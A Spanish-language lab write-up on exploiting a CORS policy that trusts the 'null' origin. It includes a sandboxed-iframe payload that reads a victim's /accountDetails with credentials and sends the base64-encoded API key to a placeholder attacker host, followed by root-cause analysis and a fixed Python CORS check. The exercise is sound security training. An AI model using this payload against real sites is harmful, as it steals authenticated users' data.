← Writeups

CORS vulnerability with trusted null origin

Explotación de una whitelist CORS que confía en el origen 'null': robo de la API key del administrador vía iframe sandboxed que serializa el origin como null.

Target Overview & Vulnerability Summary

El laboratorio cors-lab-null-origin confía en el origen null dentro de su whitelist CORS. Un origen null se genera en navegadores para contextos no estándar (páginas data:, file: o iframes con sandbox sin allow-same-origin). Combinado con Access-Control-Allow-Credentials: true, un iframe sandboxed sirve como vehículo para emitir peticiones cross-origin con credenciales y leer respuestas autenticadas.

Campo Valor
Severidad Alta (exfiltración de datos autenticados cross-origin)
Endpoint vulnerable GET /accountDetails
Root cause Whitelist CORS que incluye null + Access-Control-Allow-Credentials: true

Credenciales del laboratorio: wiener:peter.

Technical Breakdown & Exploitation Flow

1. Fingerprinting de la whitelist

Enviando Origin: https://test.com se comprueba que la app aplica una whitelist de dominios (no refleja orígenes arbitrarios). El siguiente paso es probar valores especiales; muchas aplicaciones incluyen null en la whitelist para habilitar desarrollo local o embebidos file:. Con Origin: null la respuesta confirma la confianza:

GET /accountDetails HTTP/2
Host: 0a00000e034fc0e88190614d002e0079.web-security-academy.net
Cookie: session=WEE9Y5myMUbLkKObfgSytDE4lvx1C8C8
Origin: null
HTTP/2 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "0y3ZWCF4TMc7BSywPjJjXqxqbLxNLf91",
  "sessions": [
    "WEE9Y5myMUbLkKObfgSytDE4lvx1C8C8"
  ]
}

2. Generación de un origin null real en el navegador

El valor null no se puede fijar a mano en el header Origin desde una página normal (el navegador siempre envía un origen serializado). El truco es forzar al navegador a emitir un origin null: un iframe con el atributo sandbox sin allow-same-origin navega en un contexto opaco cuyo origen serializado es exactamente la cadena null.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>

    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://0a00000e034fc0e88190614d002e0079.web-security-academy.net/accountDetails', true);
    xhr.withCredentials = true;
    xhr.onload = () => {
      location = 'https://<hacker-address>:1337/log?data=' + btoa(xhr.response);
    };
    xhr.send();

</script>"></iframe>

Flujo de explotación:

  1. El iframe sandbox carga un documento data: cuyo origin es null.
  2. El script interno emite un XMLHttpRequest con withCredentials = true al endpoint; el navegador envía Origin: null junto a la cookie de sesión de la víctima.
  3. El servidor responde con Access-Control-Allow-Origin: null + credenciales, autorizando al contexto sandboxed la lectura del cuerpo.
  4. El payload exfiltra la respuesta (API key) al servidor del atacante.

Root Cause Analysis

El defecto es doble: la whitelist incluye null como valor legítimo (habitualmente añadido para file:// o desarrolladores locales) y el middleware confía ciegamente en ese valor. null nunca debería ser un origen de confianza: es serializable por cualquier atacante que controle un contexto opaco. La política CORS resultante permite a cualquier web con un iframe sandboxed leer recursos autenticados del target.

# Configuración vulnerable (equivalente conceptual)
ALLOWED_ORIGINS = {"https://app.example.com", "null"}
if origin in ALLOWED_ORIGINS:
    response.headers["Access-Control-Allow-Origin"] = origin
    response.headers["Access-Control-Allow-Credentials"] = "true"

Secure Remediation

Eliminar null de la whitelist y validar orígenes contra un set explícito de esquema + host + puerto:

from urllib.parse import urlparse

ALLOWED_ORIGINS = {"https://app.example.com"}

def cors_headers(request):
    origin = request.headers.get("Origin")
    if origin in ALLOWED_ORIGINS and urlparse(origin).scheme == "https":
        return {
            "Access-Control-Allow-Origin": origin,
            "Access-Control-Allow-Credentials": "true",
            "Vary": "Origin",
        }
    return {}

Nunca confiar en null ni en orígenes que no provengan de la lista blanca estricta. La validación debe aplicarse siempre, independientemente del método HTTP y del contexto de carga.